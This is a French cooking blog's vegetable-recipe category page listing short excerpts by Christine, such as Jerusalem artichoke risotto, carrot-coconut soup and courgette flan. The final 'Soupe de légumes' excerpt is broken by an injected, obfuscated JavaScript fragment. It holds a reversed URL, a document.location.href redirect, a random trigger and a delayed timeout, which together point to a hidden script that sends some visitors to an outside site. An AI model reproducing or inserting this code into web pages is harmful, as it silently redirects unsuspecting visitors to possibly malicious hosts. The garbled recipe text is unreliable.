Catégorie : Légumes
Risotto de topinambours
Pelez, émincez l’oignon. Pelez et rincez les topinambours. Les détailler en cubes. Dans une sauteuse ...
Christine.. Lire la suiteSalade verte avec des topinambours
Rincez, essorez et ciselez les ciboulettes. Pelez, coupez en deux la gousse d’ail, ôtez le ...
Christine.. Lire la suiteTopinambours et champignons poêlés
Pelez, émincez l’oignon. Pelez, coupez en deux les gousses d’ail. Ôtez le germe et l’émincer. ...
Christine.. Lire la suitePurée de topinambours
Le patidou c’est de la même famille que la courge, qui a un goût de ...
Christine.. Lire la suitePommes de terre en ragoût
Pelez les oignons. Pelez, coupez en 2 les gousses d’ail. Ôtez le germe. Pelez, coupez ...
Christine.. Lire la suiteSalade Espagnole de mer
Plongez les œufs dans une casserole d’eau froide salée. Portez à ébullition et faites cuire ...
Christine.. Lire la suiteSoupe de carottes au lait de coco
Pelez, émincez les échalotes. Pelez, rincez et coupez en petits dés les carottes. Rincez, essorez ...
Christine.. Lire la suiteFlan de courgettes au bacon
Rincez, séchez les courgettes. Ne pas les peler. Découpez-les en fines rondelles, et faites les ...
Christine. Lire la suiteTaboulé de chou Romanesco
Détachez les fleurettes de chou et les passer sous le robinet d’eau froide. Faites les ...
Christine. Lire la suiteSoupe de légumes
Pelez tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tous les légumes, les couper en gros dés. ...
Christine. Lire la suite